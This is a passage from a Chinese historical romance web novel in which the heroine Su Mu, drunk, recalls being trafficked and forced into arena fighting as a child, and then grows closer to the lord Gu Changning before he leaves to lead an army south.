这上京城可真是小的很。 “今日我不去东厢房了,你将东西放回书房后告知芜衣一声。” 说罢,苏木从分廊绕回,渐渐在消失在园林秀景之中。 夜色如墨,肆意泼洒青石白瓦之上,檐角铜铃叮咛作响,苏木不再似往常觉得心安,反而心躁。 廊下灯笼晕开暖黄色微光,细碎花影摇曳生姿,虫鸣阵阵,主屋内却是一片狼藉。 案桌前,倒下的立着的酒瓶一大堆,身着浅棠碎丝襦裙的苏木斜倚案前,指节将酒圈在掌前,有一搭没一搭地往嘴里送着清酒。 “笃笃”杖声想起,一声声扣住宁静的夜晚,有些突兀,却依旧将那扇掩着的门轻轻推了开来。 他今日回得早,在问及凌风时,得知了苏木的心情不悦。 他许久没来主屋了,犹犹豫豫中,却还是不知不觉来到了主屋。 苏木实则醉了,所以在见到顾长宁时,还以为自己生了幻觉,臆想出了他的存在。 她眉梢轻扬,眼尾晕着薄红,似海棠花瓣,清雅明润,似醉非醉的面颊满是桃红,瞧见来人时眉头紧锁。 她蹙眉又松开,蹙起又松开。 衣衫揉过眼睛,迷瞪的眼神才重新聚焦。 她撑着地面想要起身,却醉的如同烂泥,一起身就重重地摔了下去,再试着起身,却又毫无意外的倒下去。 一次比一次疼。 顾长宁在梦中都还是和小时候一样,不管见她多么难堪,多么疼,多么希冀,他都冷眼旁观,从不施以援手。 “喂,小鬼!” “若是你赢了,我便还你自由!” 抬头的那一瞬,穿着玄色衣衫的男人与角斗观演场上的男孩重合了起来。 可是在她欢呼的那一刻,那个男孩不见了,走了,和上次一样。 和六年前一样。 只留下残酷的现实,只留下男人的身影。 他很高,遮住了身后的烛火,黑暗笼罩在她眼霜之下,泛出忽闪的阴影。 苏木自嘲一笑,伸手想要去拉他:“他都走了,你怎么还赖在我梦里不走。” 是梦,所以抓不到,她也毫无顾忌,还是硬撑着站了起来,尽管歪歪扭扭,尽管颠三倒四。 要倒下的那一瞬间,落入的是一个宽广结实的怀抱。 梦里的触感很真实。 被安全笼罩的那一刻,苏木觉得很踏实,却又很委屈。 眼角润出些湿气,苏木在氤氲朦胧间失去了往日的意志力,她没再强撑着不让眼泪落下,在凉意划过面颊时,她才缓缓阖眼。 “顾长宁,六年前,你去哪了。” “在我最灰暗的那三年里,唯一给过我希望的人,唯一在你眼中瞧见是我又满是光亮的人。” “你去哪了……” “去哪了……” 她知道自己不会得到答案,嗫喏出埋在心里苦于发泄的话语后,她才真的昏睡了过去。 第70章 上京是整个鄢国的中心, 因此四通八达,贸易繁盛。也是因此, 上京最大的赌场和奴场都在这里。 苏木自八岁丧家时曾想过投奔相府,但当她站在相府外听到一直以来待她亲热的谢伯能说出那样的话,她也不好再麻烦。 也因为妹妹下落不明,她一个人在熟悉的不能再熟悉的上京城,凭着孤勇生存了足足一个月。 可在那一个月里,她仍然没有半点妹妹的消息。 她自己也活得不好。 有一天,太阳很是毒辣, 她原本的衣服已经污浊不堪, 看不出原来那精细华贵的模样。她蓬头垢面, 任谁都看不出她原本那张柔软可爱的脸庞。 很饿, 很渴,很想好好睡一觉。 叫花子也是有自己的领地的, 苏木不知道第几次从半夜被人踢醒, 捂住瘪的凹进去的独自,鼻腔有些发酸。 哭是没有用的, 她这一个月来不知道哭过多少回, 但哭并不会像往常一样惹得爹娘的心疼, 下人们的讨好。 她越来越清晰的明白,她真的变成了一个人。 在这个叫花子都有小小团体,弱肉强食的时候, 她一个小姑娘,是一个人。 免不了被欺负,所以她偷过一个帽子,把自己伪装成男孩模样,她也尽量不说话, 不让人听出她是女孩。 不然被卖到烟柳巷子里去,她这一生便真的毁了。 旁边大婶蒸笼里的大包子散发着诱人的香,苏木灰头土脸地小心瞧着,揉着肚子不敢上前。她蹲在一个破落泥泞的拐角,环抱着自己的小腿,如同幼狼看着美味的猎物。 在吞下不知道第几次口水后,旁桌的那人终于吃完了,桌子上用过的碗里还剩下半个白嫩的包子,里面是苏木小时候最不喜欢的红豆沙馅的,可在此刻,那抹豆红却是如此诱人,让苏木恨不得一口吞入腹中。 卖包子的瘦高大婶在洗涮用过的碗筷,根本没注意到桌子上的那点残渣剩羹。 苏木眼睛放光,因为想要动作快些,所以跑的格外急切,却没想到旁边一个小胖姑娘奔的比她更快,将那豆沙包一把攥入手中。 苏木愣在原地,眼巴巴地看着她。 小姑娘的年纪比她小点,看着脸颊圆润可爱,两个大眼睛很水润,但动作痴傻,像个呆子。 听到声音,大婶骂骂咧咧地过来,一下便拍掉了小姑娘手里攥得包子。 “矮妞,都和你说了这些脏你还吃是吧!” “给我回家去,今日都不许出来。” 大婶语气不善,但苏木知道,那是她女儿。 矮妞胖是因为啥都吃,傻则是因为小时候生了一场怪病伤着了脑子。脑子越不好吃的越多,久而久之,大婶无能为力,从一开始的溺爱变得头疼,语气也随之不再容忍。 矮妞不出意外地又大哭了起来,只是这一次她没有背对着人潮,而是呆呆地看着苏木哭。 双眼通红,脏脏的,但是又很可爱。 “我不是自己吃,这个,这个小乞丐每次都在我们家店前,矮妞想,想给她……” 哭的很凶,语带啜泣,所以说话一抽一抽的。 苏木不傻,她真的没想到矮妞是要给她的。 她不知道说些什么,几次要长的嘴巴又紧抿在一起。 因为大婶又在用一种随时要将她用扫帚赶出去的样子,她不敢说话,只怯懦地往后挪动了几步。 大婶呵斥着苏木离开,苏木转身时却被矮妞拽住,硬要捡起被拂在地上早就沾灰的包子给她。 大婶意外地没有拉动她。 后来,苏木吃下了那个包子。 矮妞很喜欢她,他们时常在一起玩耍。 大婶虽然还是不喜欢她,但因为矮妞的缘故,也没再直接拿扫帚扫过她。 矮妞总是被他那要科举的爹爹给气得半死,所以苏木偶尔也会教她认字。 苏木几乎就住在那家了。她很感恩,大婶出摊时她就帮忙打杂洗碗,下摊后她就照顾矮妞。 虽然睡在潮湿生虫的柴房,她也高兴的不得了。 她当时以为,自己会就这样慢慢长大,她也能够有机会再回一趟沈府,也有机会变得强大了去寻找妹妹。 后来,矮妞的爹爹再次落榜,大婶气的不行。家里也再也没有多余的钱可以供他往后的科考。 再过一段时间,大婶不再怨天尤人,她待苏木有时候比矮妞都好,甚至还带她到往年看不起的衣裳铺子里去置办了一套体面的衣衫。 那个时候,大婶打量她的眼神泛着光,苏木以为大婶真的喜欢她了,所以她高兴的不得了。 她高高兴兴地跟着大婶出门,再次醒来时却是在妓院。 她哭她闹她也只是一个小女孩,她没有任何办法能够挣脱。 那是她第一次杀人。 那天,一个大腹便便,油光满面的男人进了她的屋子。 苏木很害怕,以前被其他乞丐踹踢,被摊贩老板辱骂,冻在街角看着酒汗蚀骨的眼神,都不及此刻。 一根簪子入胸膛,他没死,可苏木很害怕,所以她又扎了好几次,直至那人再没了气息…… 她是被人打晕送到那人府上的,所以府上守卫并没有妓院严,她慌张的跑啊跑,终于在精疲力竭时倒在了大马路上。 没有爱看的话本里从天而降拯救她的人,像她这样无家可归又倒在街头的人,就这样理所当然地被送进了奴场。 如果说第一次杀人苏木还害怕,可在奴场的那些日子,她便变得越来越麻木。 奴场每天都在死人。有挑选出去让那些贵人射杀玩乐的,有被送至怪劣癖好的达官哪里被虐辱致死的,更有刚开始就被刚开心认识的伙伴一拳抡死的。 总之,血腥充斥在地下场里。 苏木年纪小,但是拳脚很灵活,她很受一个教习的喜欢,所以总是有意无意的提点她。当然,也对她有其他的想法。 她假装不知道,只一味的提升自己。 奴场有帮派之分,这些都牵扯到帮派利益,比如奴场角斗场上胜出的是其中哪个帮派,哪个帮派能获得高额的赏赐,那个奴人也有机会被买下,或是自由或是进府谋生。 苏木起初是后者,直到越来越多的人买走了她又赶走了她,她后来想要的不多,其实就只剩下一个自由。 她还记得那个时候,足足有三个月,一个穿着显赫的小公子时常在观台看她角斗。 小公子从没说过什么话,他有时在,有时六七日也不见。 苏木其实有过期待,她也暗自希望小公子可以买下她,或许没有自由,但逃离这个污浊泥泞的奴场,她也很开心。 但三个月,日复一日,她旧伤未愈又添新伤时,那小公子仍旧是一句话也未曾说过。 苏木觉得自己离死好像不远了。 三日前,她曾和自己这个教习下同样厉害的少年对打,她险胜,却落下了很多伤。 教习摸着她的手说:“五日后和你对决的是白虎手下的牧岩,这小子年纪不大,但出手极其狠辣,力气又格外大,你和他有着天堑般的差距,我希望你……至少保全自己的性命,别死在场上……” 别死在场上,这便是对她的期望了吗。 曾经,她的父亲期望她习字读书,要做一个腹有诗书的女子;她的母亲时常对她说及陶瓷精要,说是日后她要是从商,她也会力排众议…… 而如今,活着都如此奢侈了。 爹爹,娘亲,活着好累。 我想你们了…… 我能不能……能不能死了。 我死了,没有谁在乎。 若是妹妹找不到我,你们会怪我吗?可是我好累,真的好累。 那一天晚上是苏木哭的最崩溃的时候。无人安慰无人听到,她如同一只受伤的小鹿,一个人趴在角落默默地舔舐伤口。 真的,好想死。 五日后,角斗场如约而至。就算知道这位牧岩不可战胜,就算知道就算战胜以后也会有周而复始的新角斗。 苏木还是上场了。 男人的力气天生比女人大,就算是个少年,那也是如此。 牧岩出手极快,招式狠辣,他心急,似乎不愿意和她浪费时间,所以每一招都像是要置她于死地一般。 前面,苏木被他打得非常惨烈,众人一边倒地支持牧岩,但苏木就是不服气。 她想死又如何,世道不公,她偏偏要博出一条活路! 牧岩越来越不耐烦,出手的空隙也越来越多,她好几次找准了机会,也出手制住了对方好几次。 但这种不过是蚁撼象般效果,苏木依旧被他一脚踢飞,重重的砸在栅栏之上。 如果爬不起来,她就输了。 输了之后,没有人给她送药,没有人给她治伤,她会被奴场放弃,自生自灭。 放弃吧。 眼皮好重,肩胛像碎了,背脊是被折断了吗,我……要死了吗? 欢呼声接踵而至,有些刺耳。 小臂乌青肿痛,她好像根本抬不起来。 可她还是试着去捂住自己的耳朵。 若是放以前,她要让爹爹罚他们,他们太吵了。 罚什么呢,那个时候,她最生气时也只罚过下人半月的月例。 ……算了,睡吧,睡着了应该就能见到爹娘了。 “小鬼——” “哎呀,不行了,我赌赢了吧,我就说白虎能赢” “行行行,我也是高看这丫头了,还以为有什么后招呢!” “钱给我钱给我” “喂!小鬼!” “给你给你” “……” “这次算你运气好……” “小鬼” “若是你还能站起来——” “若是你赢了,我便还你自由!”!!! 嘈杂人声中,这个稚嫩的少年声音并不凸出,甚至差点淹没在人潮之中。但这个声音却如同白光劈开周遭,整个世界却仿佛只剩下轰鸣声和他的声音。 她艰难地挪动头颅。 少年皱褶着眉头,眼底满是急切,双拳攥得很紧,像是在给她打气。 他穿着褐色衣衫,腰间系着一枚白玉环佩,一声声扣在栏杆之上。 原来是他啊。 这一次,便再信你一次。 我要的自由,求求你……给我吧。 —— “世子……” “世子不好了!夫人,夫人她……” 天佑五年秋,睿雍长公主、宣德候府昭安夫人,因疾而逝。 皇帝大悲而病,宣德候尚在边疆,太后代办奠礼而不至,其子昭明世子代为操办丧葬。 七日,不得出。 70-80 第71章 昏暗烛火跳跃在二人脸上, 暖黄温暖的气息笼罩在他们身上,和谐谧静美好。 只是一人双目紧闭, 一人睁着眼,眸中迷蒙。 顾长宁宽大的掌捂住她的耳朵,食指与拇指交汇轻捻,想要试着去摸着怀中那人的脸颊。 却停在空中,没有继续。 虫鸣自门外传来,夜早已深,一声长叹自喉间发出, 无奈中夹杂着爱溺, 很复杂, 却无法说明。 横抱起那人搁置于床榻之上, 顾长宁转身离去。屋中恢复安静,好似刚才的闹腾全然不在。 翌日苏木清醒时, 脑子还不太清楚。真当她以为昨夜之事自己都不记得时, 看到桌上还乱滚着的酒罐便瞬间清明了。 她昨夜,干了什么! 模糊零散的记忆先是慢动作缓放, 随后不顾她的一脸懵, 直直往她脑袋里闯。 本来, 本来她以为昨夜见到顾长宁是梦的。 但她又不是傻子,也没有喝的昏死过去,今日记起来, 好似自己是借着酒劲装疯卖傻罢了。 疯了,真是疯了。 苏木懊恼般揉搓着凌乱的脑袋,一把掀开了盖子身上的被褥。 往铜镜那一坐,磨得透亮的铜镜里顷刻出现了一张乌青发黑,双眼肿红, 发髻凌乱的疯女人模样。 平日自持矜持冷傲完全不再。 顾长宁就是个祸害! 六年前他去了哪他根本不在乎! 不在乎,一点也不在乎! 不就是昨夜喝多了发了一场疯嘛,等往后她离开了,这点破事谁还记得。 这样安慰着自己,苏木装模做样的在铜镜前理了理自己的发髻。 她动作凌乱,脑子里混杂着其他的事情。 半晌后,她认清现实般垂下了无奈的手臂。 苏木看着镜中自己苦恼而失落的双眸,一时失神。 她不承认,因为顾长宁而心绪不宁。 不管是他几日未归府,还是知道他就是六年前的那个人,亦或是昨夜种种。 她明明只把顾长宁看作一个刺杀的对象,又或者是即将两清的雇主,更是权宜之下结盟的对象。 但究竟是何时开始,她开始变得不一样了。 脑袋里回想起来,大概是那段日子白天与他同在院中,他疗伤睡觉,她垂头练字。 还是夜里二人共睡一屋,虽异床异梦,但二人总是会有一搭没一搭说些什么。 还是因为…… 苏木脑中浮现了偌大楼宇烟雨中,那双失神的双眸仿佛看透了她,对她说出的那句:“我带你回家。” 家。 是个很奢侈的字。 自沈府覆灭后,她能从他人身上感受到的温暖变得很少。 在奴场几乎没有,在闳离阁倒是有那么几个人。 可即使这样,她也从没有把闳离阁当成过家,或许是因为在矮妞家吃到了苦头,她对别人的善,总是点到为止的。 就像起初对影儿,她并不想多管闲事将她放入侯府之中,再比如她只是随意说出要教芜衣功夫,实则自己根本没有真的放在心上。 但这些事情却在后来慢慢走偏,每一个都在后面由她去做了。 可她从不是从他人身上寻求微末暖意的乞讨之人,在对待她们投来的亲近,她还是下意识地想要远离。 所以她总是包裹着自己,时常自己外出又独回,活得像是困在自己牢笼里的野兽。 她不许别人靠近,也不允许自己踏出这个牢笼。 但凡扰乱她心思之人,她都会趁早掐灭这种可能。 在侯府,她从未生过这种心思,所以在这种萌芽开始冒土时,她从未去掐灭过。 因为她在潜意识中告诉自己,就算是偶尔对顾长宁的信任,那也是出于对于同盟者,别无其它。 直到这个萌芽慢慢生长,开始在她的牢笼里疯长,直到她如今看到,似乎无法忽视。 太过于荒谬。 苏木却又摇了摇头。 不是这样的。 现在所想仍然是错觉,是自己与顾长宁相处的多了,才贸然生出了些将他视作亲人一般的感觉。 定是这样。 苏木豁然开朗,朝着铜镜中的自己扯出了一抹极为难看的笑容。 为了避免自己多想,苏木还是打算平心静气,再去院中练练字。 想罢,她唤了外面下人进来,认真洗漱了起来。 说来奇怪,往日她的衣衫皆是下人所选,她只负责点点头套上就行,可今日,她看着几个丫鬟来回地拿出一件又一件的衣裙,却没有半分满意。 她总是试了又脱下,脱下又换,换了又脱。 丫鬟们逐渐看出了不对劲。 说实话,苏木是她们伺候过最简单的主子,所以对于今天这副奇怪的场景,几名丫鬟虽不敢出神,但眼底流露出来的诧异和欣喜是肉眼可见的。 这些日子小侯爷总是晚归,前些日子还搬去书房了,眼瞧着自己家主子就要失宠了,她们都着急的不行。 但定睛一瞧,自己家主子日日不是在练字就是在练字,活像魔怔了一般。 她们都害怕小侯爷从外头领个其他什么人进来,又或是娶了什么正妃,真让自己家主子失了宠,那她们的日子也不好过。 直到昨夜听闻侯爷进了主屋,她们几个丫鬟本高兴得不得了,但后半夜又听闻侯爷出了门,还以为自家主子惹侯爷生气了,她们暗叹不妙,硬生生一宿没睡好。 直到今早瞧见自己主子比往日兴致高,还自己挑起所着之物来,这才又惊又喜。 谁人不知道,若是哪个女子开始对自己着衣外貌格外注意了,那定是…… 苏木哪能没看出这几名小丫头的心思,在她蹙着眉换完第六套衣衫后与其中一名小丫头一对视,脑中攸地明白了过来。 怎么还擅自揣度别人的心思! 苏木恼怒,于是那正要反手脱了这穿在身上石榴红裙衣的手慢悠悠地滑了下来,闷着嗓子看了眼自己周遭说道:“行了,就这身了。” 她转身后小丫头们便将她按在梳妆台边洗漱,苏木撇撇嘴,懒得去解释,遂未阻止。 罕见的是,往日苏木素装淡颜大概半个时辰便能离屋,今日却硬生生在屋子里洗漱了一个时辰多才出门。 出门后,正巧遇见了站在院中等候多时的凌风。 抬眼那一刻,苏木明显瞧见了凌风那素日幽深不见底的双眸泛起一丝光泽。 “……” 恰巧祝余今日要来东苑给苏木送给顾长宁所配之药,在苏木还未来得及对凌风说话时,祝余的声音自远处大声传来。 “姐姐!哇!你今天好漂亮!” “……” 苏木极其不自然地转身,瞧见了祝余一抹绿衣飘然,轻跃着步子而来。 “姐姐,今日你可要去什么地方,怎打扮地如此好看!这身石榴红裙很是衬你,你就应该多穿点亮丽的颜色,明艳美谲,勾得祝余都垂涎哈哈哈哈。” 祝余说话向来是口无遮拦的,她越说越开心,没看见苏木越来越黑的脸。 她转身就要进屋,被祝余一把拽住:“姐姐,你干嘛去?” 苏木看都没看她:“换衣服。” “……” 祝余服从性地点点头,随即又反应过来猛摇头,抓住苏木的手更用劲了些,顿住了苏木迈进屋子里的那只脚。 自祝余见到苏木的那一刻起,她就从没见过苏木身上的衣衫有过大紫大红。就连上次进宫觐见的贵衣,那都是带着老沉稳重的紫红,和她平日所着黑衣白衣并无差距。 苏木平日所着皆为淡色,不知他人如何,反正她是从未见过这样的苏木。 刚在远处她便瞧见一美人,只见侧影时还担心是小侯爷带了哪个狐媚子入府,竟还敢在主屋苏木姐姐的院子里带着,气得她走的步子并做跑的了。 等近了一看,才发现那是什么狐媚子,那是自己家姐姐。 说实话,光惊艳一次都是不够的。 苏木今日着一身石榴绫丝缠纹红裙,在这昔日如同火焰绽放,明艳夺目。裙身裁剪得当,像是比这身姿所做,曼妙腰间细盈,若祝余不知自家姐姐是个杀人不眨眼的,倒要以为是哪家功勋贵女,气质卓然。 她发饰虽同往常简单,但红色宝珠斜插鬓间,如滴血朱砂,衬的皓白面颊艳媚韵悠,眼前大亮。 祝余如同痴汉般看着她:“别换了姐姐,这身多好看,穿着这身就是练字效果都比平日好。” 祝余信口胡诹,苏木就别头看着她:“谁说的?” 祝余本就是随意说的,她想到苏木这几日不是练字就练字,所以才一时往这上面扯。 祝余挠挠头,有些尴尬的沉思,随即如同恍然大悟般,细手一点:“小侯爷啊!” “扬风说过,小时候小侯爷不爱练字,老侯爷就会给他置上一身新衣裳,自此后,侯爷字练的那叫一个进展飞速!” “我记得姐姐练的就是侯爷的字吧,这样试试,说不定真有这回事呢!” 好端端的衣服,扯顾长宁作甚,苏木更是不悦了:“什么歪理邪说。” 说罢,她还要往里走。 祝余再次拽住了她:“姐姐姐姐——” 她喊得着急,生怕苏木一进门将她反锁在外。 “对了!小侯爷喜欢红色!真的!所以你穿这一身他定是高兴的!” 祝余哪知道二人是假夫妻,只觉得自家姐姐和侯爷已几日未见了,若是因这红衣让二人感情更深,那何乐不为。 她也可以继续呆在府上,也可以见想见的人。 “你们不是很久没见了吗,我听闻侯爷最近事务冗杂,等他见到你模样,定然欢喜。” 祝余早就将顾长宁眼睛看不见这件事丢到九霄云外了,于是说的话也未真的思虑周全。 但意外的是,苏木并未就此点去反驳,她愣了那么一瞬,随即神色更不好了,她一口回绝,且还掰开了祝余拽着自己的手。 “我要他欢喜干什么!他回不回来又干我何事!” 苏木正要这样说,可话还没说出口,院中不知何时多出来的身影往她身后迈了一步。 一声音将她的话按回了喉咙里。 “错了。” 他声音晦暗不明,没有情绪,不知是在说祝余的话错了,还是什么。 众人来不及细想,苏木甚至还没转身。他的声音再次传入耳中。 “我瞧不见。” “所以不管你穿什么颜色,我都瞧不见。既然如此……” “穿着吧。” 低哑而深磁的声音,悠长晦暗。 苏木不会认错的。 才经历了昨夜的失态,她没曾想这么巧,今日能碰到顾长宁—— 第72章 苏木还搭在门框边上的手僵在了原地。 说实话, 顾长宁这句话实则在为她解围。 刚才的情况,祝余若是不将顾长宁牵扯出来, 这件衣衫实则上升不了为谁而穿的高度,但祝余一说,苏木穿这裙便换了一种味道。 即便她一开始只是口头说说要换衣,实则并没有真实想去做。 直到祝余说可能顾长宁会喜欢,这句话像是挑动着苏木的某根神经。 她是真的想换了。 刚才口中所提及的主人公都已到场,祝余将手中药包递给苏木后,同凌风识相地一同离开了。 苏木背对着众人接过祝余递过来的一捆药包, 踌躇着要不要转身。 他都那般说了, 她再固执地进去换衣服, 似乎显得太小家子。 但实则, 苏木最担心的也不是衣衫的事情,而是昨夜之事。 两个闷不吭声, 情绪很难外露的人在昨夜有了些交汇, 且他们二人都记得清清楚楚。怎么想怎么别扭。 待苏木正思虑着如何开口避免尴尬时,身后院中已经响起了“笃笃”的扣击声。 声音没有越来越近, 反而越来越远, 像是在朝她相反的方向走。 其实许久未听见顾长宁执杖的声音了, 就连昨夜迷蒙之中,她好像也未看到未听到。 所以几乎是下意识地,她连措辞都没想好, 便狐疑地转过头看着那人。 忘了他昨夜穿的什么衣衫,如今看来,许久未见,他好像清瘦了些。 玄色对襟宽袖长袍,衣身宽大, 衣色沉稳,压住了他那一丝清瘦的痕迹。 尽管三年未上战场,尽管三年眼盲未有锻炼,但他身形并未有消瘦弱风之感,清瘦之中却显结实曲线,在海棠树下衣诀猎猎,随风而习。 他背对着她,苏木跟着上前,离他很远。 他应当也听到了身后的脚步声,但是并未顿下半分脚步,而是随着手杖的指引,停在他熟悉的地方,将手杖置于树干旁,习惯性地躺在了海棠树下的摇椅之上。 这样常见的画面,似乎二人并没有分开多久。 只是海棠花已落,心境已反往。 虽然二人没说一句话,但这种瞬间的恒久,却莫名让苏木心安。 顾长宁躺下后便闭上了双眸,神色平淡,似无所扰,喜怒不明。 安然、静谧、自在。 罢了,既然心照不宣,她也便当作没发生一样,反正装傻充楞这种事演起来应该也不难。 按照往常,苏木坐在离他不远处书案下,用臂缚挽起衣袖,左臂轻压着桌上卷纸,点墨研写。 练了月余,这字长进不少,至少与顾长宁的字有那么六七分相似了。 虽神韵不足,但笔锋相似,再练练应该能再精进不少。 她也想将字迹更进一步,但这几日如同卡住一般,始终不知如何去练,不免心焦气燥。 为了防止本末倒置,苏木还是选择慢慢究其字下逻辑,一步步地来。 夏光穿过繁茂枝桠树冠,筛落下一块块斑驳光斑在青石板上,不时蝉鸣自塘中传来,却没有聒噪。 案前女子身着与头顶墨绿枝叶不同的火红衣衫,格外醒目,如同骄阳。 她腕间臂缚松松系着,垂落的广袖被风掀起一角,同书案上的泛黄纸张齐飞,凌乱生美。 露出匀称皓白的素手压在那叠早想飞走的卷纸上,洇了些墨痕在手肘间,手侧骨。 酣睡的娇容面上呈着些绯红,胭脂白里透红,沁入骨髓,可见魅色,果真蛊人。 喉结往下一顶,修长指骨几乎就要触碰到那朵莹粉的海棠。 他想撩开那缕垂在她脸颊上,扰得她眉头轻皱的青丝。 指尖未触,一双凤目猝不及防撞入双眸。 别开眼神的同时,他的手腕被人控住。 他慌张别开眼神,喉头忽上忽下,气息变得凌乱而沉重。 “顾长宁,你耍我?” 苏木很火大。 心中没气那自然是假的,这几日见不到他,也不知他吃了还瞳丸后效果如何,每次想要问问凌风,可话到嘴边又被她吞了回去。 每次想要等他回来问他,但见他总是疲惫而归,时不时还要被桌椅一绊,她要问出口的话就这么吞了回去。 亏她前几日还特意拜托祝余送药过来,合着自己倒是多此一举了。 是她的病人,凭什么痊愈了却不告知她。 凭什么这几日都躲着不出来。 凭什么…… 眼睛好了的那一刻,第一个见到的人,不是她…… 他是她的病人,她有权利第一个知道,第一个见到。 这是一股无名火,若是眼前人突然问她为何如此在意。 那么潜意识里的这些话,她是万万否决,不肯承认的。 很难得的,苏木竟在耳边听到那人的轻笑。 他侧过头,眼神没有躲闪,却早已不是古井无波,是神采奕奕。 “嗯,我耍你什么了?” 四目交汇,那人盯得直白,眼中含着吞噬人般的蛊惑,苏木闪开一丝眼神,心突然突突地跳。 见鬼,顾长宁是什么妖怪吗,还是瞎的好。 苏木正声道:“你既眼睛好了,何故还拿着手杖。” 那人笑从喉出:“习惯了。” “……” 假话,谁信。 苏木冷睨他一眼便飞速别过视线,生怕对上那发烫的双眸:“什么时候好的。” “好几日了。” “……” 苏木愤愤:“好几日了!” “顾长宁,我发现你狼心狗肺。” 见着眼前人面颊上那覆于胭脂下比之更甚的怒红,顾长宁才顺着书案对面而坐:“是我不对。” “本身眼睛好了应该第一个告知你的,但这段时日突发事务众多,我抽不开身。” 苏木不理她,显然还没缓过来。 好几日就好了,那不是赶在昨夜之前就好了,那昨夜之事呢,岂不是被他结结实实地落入眼中。 她酒后的失态……按照他的说法来看,这几日他们都没见面。 昨夜是他复明后见到她的第一面…… 有没有地缝,苏木想钻一下。 早上给自己的心理建设此刻早已土崩瓦解。 那人还当人生气着不肯理他,复而又道:“其实,在这之前,我不是没见到过你。” …… 这句话让苏木乱飞的思绪及时撤回,她有些发懵,探究地看向他。 千万别说是昨夜。 顾长宁似是心领神会,也的确没说是哪天,他眼尾上扬,抬眸对视:“但是那天突发急事,我没来得及告知你,此后也没有机会了。” 顾长宁嘴里已经不知几次提到这件“急事”了,瞧着可以揭过这个尴尬的话题,又看见他说到这一事时眉头的抽动,苏木张口就问:“什么事,很严重吗?” 顾长宁别过视线:“与寮州的战役耗费了鄢国大量财力物力和人力,此时正是应该养精蓄锐之际,南边竺蛮国想要借此分羹,在南边挑了战火。” 又是战事。 苏木跟着心上一揪,鄢国能将本身就少,老侯爷就算在善战神武也已年迈,况老侯爷还在北面休整,远水救不了近火,此时在南边点火,无疑于挑衅的流氓之举。 她看着顾长宁,没注意到自己眸中流露的担心。 可顾长宁,他不是眼睛刚好吗,还来不及再休养一段时日…… 况且,南边刚有战事顾长宁眼睛便好了,放在那多疑的皇帝身上,他不会多疑吗? 看出她的顾虑,顾长宁投以宽慰一笑,笃定了她的猜疑:“你想的不错,我要离开上京一段时日。” “今日早朝圣上已派我为帅,平竺蛮之乱。” 他从衣襟里取出白绢,视线放在案前白净素手之上,就那样牵起了她。 下意识地瑟缩被他拽回,素绢在掌心处摩擦,生出些细微地热感。 她的手被封住一般,眼睛却还是依旧死盯着他。 顾长宁擦的专心:“前些日子,竺蛮那边已有了些小打小闹的消息,是我封锁了。” “要趁着战事还没传入京中眼睛便好,上头疑心才不会那么大。” 他的手托举着她的腕骨,顺着一根根指节向上,开始擦拭她的小臂。 攥着她的掌心很烫,很烫。 “果不其然”顾长宁嘲讽般一笑:“朝中派去的人都是囊虫,什么捷报也没有。” “恰我眼睛好了,打点了几番,这去南边的时事情便到我的头上了。” 正擦着手肘的素手绢一顿,顾长宁抬眸,眼中暗流翻转,犹豫踌躇。 他缓缓抬臂,宽大的左手覆住她的右脸,温度自脸颊袭来,苏木垂眸,睫毛扑闪。 小块阴影落在眼睑下煽动,带着意味不明的隐晦。 素绢覆上左脸,轻柔地如拭珍宝,小心谨慎。 挨的很近,近到能听见对方的气息,能到到呼吸交缠,能感受到炙热灼烧。 近到,居然想要再近一点。! 她在干什么! 她为什么没有推开。 意识到不妥,意识到自己手脚极其听话般垂落不动,苏木轰的站了起来,僵直着身子。 顾长宁惊在原地,默默收回了那停在半空中的手。 他扯起一抹并不自然的笑:“你的手上脸上都沾了墨。” 他顿了顿,随即也站了起来:“我眼疾期间很感激你的照顾,所以刚才…… “算了,是我唐突。” …… 苏木脑袋一片空白,对于顾长宁的解释听进去的也不多,脑子里只有刚才灼烧脸颊的热意。 她晃的一下背过身去,努力平复:“无……无事。” “你什么时候去竺蛮?” 顾长宁愣神,语气不明:“……明日” “去竺蛮所经之地恰有南疆,你若是要同我一起去,然后解……” “我不去。” “……” 顾长宁那句解蛊还没说的完整就噎在了喉咙里。 她回答的如此快,顾长宁瞳孔微缩,有些不解,带着疑惑与……惊喜。 死嘴,你说了什么! 答应啊,去了南疆解完蛊,你和顾长宁好聚好散,反正现在他眼睛好了,你俩两不相欠,你走了不被侯府桎梏住,天高任鸟飞,你可以去安心查事,不再顾及任何人,不好吗? 不好吗? 当然好,那你为什么不同意。 说你去,去。 嗫喏着想要撤回刚才的回答,可张嘴几下,苏木也没说出那句去的话。 为什么,她不敢去想。 “为什么。” 苏木说不出口的为什么,顾长宁先问出了。 苏木蹙眉恼火:“什么为什么?” “南疆,这不是你一直以来的愿望吗,去了之后……” 苏木恢复往常姿态,凤目冷冷盯着他:“我在上京有我还未做完的事,我走之前还有些事情未处理,要走也是我自己乐意走,你想赶我?” 二人立于院中,案上卷纸早已习风而飞,缠绕在二人周遭,发出沙沙之声。 一玄一红,张扬肆意,却安静美好。 顾长宁神色复杂,语调却有着不一样的松快:“没有,你想住多久都可以。” “……” 本是伪装般恢复冷然状态,却被这短短一句话给击垮。 心上像被溶解了一块。 “苏木,我走的这段日子,你的字继续练着吧,等我归来的时候,想看看。” 看屁,字有什么好看的,看人不行吗,张叔,祝余,凌风,扬风不好看吗,看什么字。 苏木闷闷点头:“嗯。” “我走后,扬风会跟着我,凌风还是在府上,你有什么事都可以吩咐他。” 苏木闷头看向别处:“知道了。” “还有,我不在的时候,你在府中无事的话可以去你的医馆,我不会派人跟着你的。” 苏木不满:“用你说!你派人跟着我我就杀了他!” 她像随时要露出尖刺的野猫,明明是威胁的话,却看的顾长宁神色松动,眼底蕴着温柔。 “还有……” “顾长宁,你要死在竺蛮吗?废话这么多!” “还有……你等我回来,我还有话要对你说。” 顾长宁看着她,面上是她很少见过的,对她一个人的郑重。 “所以我不会死的,我会回来。” “苏木,等我。” 她就那么滞楞地站在院子中间,站在那棵海棠树下,直到那人的身影完全消失不见,她才抬头看着那覆顶的郁葱。 有一刻,苏木觉得自己与多年前的那个女人重合了。 荒谬至极—— 第73章 顾长宁离开上京的那天苏木没有去送行。 她说不清自己当下的感受, 也从没有与人分享和询问的习惯,所以在面对这种没来由的自己不习惯的情感时, 她习惯性回避。 她在想,或许可以借着顾长宁离开的这段日子,恢复往常,不让人看出任何端倪。 然后去做自己想做的事情。 之前那段日子他那书房日日都有人,她找不到机会进去,但如今却不一样了。 已离顾长宁离京半月,偶有书信寄回, 却都是凌风执笔, 所问也不过府中琐碎, 未曾提到过她。 老侯爷与总领节度使在夏丹谈判, 不知签署了什么协文,寮州赔了白银, 